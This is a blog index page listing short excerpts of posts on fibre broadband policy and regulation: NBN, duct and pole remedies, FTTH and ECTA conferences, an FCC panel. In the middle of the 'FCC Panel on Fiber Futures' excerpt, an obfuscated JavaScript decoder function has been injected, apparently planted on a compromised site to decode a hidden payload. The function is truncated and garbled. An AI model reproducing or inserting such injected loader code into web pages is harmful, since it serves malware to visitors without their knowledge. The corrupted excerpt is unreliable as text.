Sticks, Carrots and NBN…

I sometimes wonder if our western societies haven't gone a little bit too far in promoting the rights of the individual in the face of the needs of society as a whole. Of course, when you hear about the tens

The trouble with ducts and poles

I have written in the past about passive infrastructure remedies to competition. Portugal is one country where such remedies seem to have had positive effects on the market. Applying similar remedies in the UK was a big part of the

ECTA Conference in Brussels on Nov. 30th / Dec. 1st

I will be chairing a session at the ECTA Regulatory Conference 2010 next week in Brussels. The conference is two days, Nov. 30th

Sonic.net brings All You Can Eat broadband and phone to Northern California

In an era where the buzzwords about broadband

Fable or Ciber ?

The FTTH Council APAC Anuual Conference in Seoul last week was the second of three such conferences worldwide (the third will be in Las Vegas in September)

Policy Failure ?

I've been musing about policy a lot these last few weeks.

I sense a shift in the way European institutions in particular are looking at the issue of policy

Intelligent Ways to Solve the Middle Mile Problem

Now you might say that I've picked this title driven by pure chauvinism, but I assure you, it's nothing of the sort. I just think that – once in a while – when your country adopts a sensible

FCC Panel on Fiber Futures

As you probably know by now, I was participating this past Thursday to a panel at the Federal Communications Commission in Washington DC entitled function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else

The Latest on Global Regulation

Today is Nov. 11th, the day France celebrates the WWI armistice. As a consequence, I'm not working and don't intend to blog extensively,

“Lifetime Value” of Fiber

Commenting on my post last week about the Keymile PON vs EP2P white paper, Frank raises a very good point about who I was talking about when I used the term Option Value. It's a really insightful comment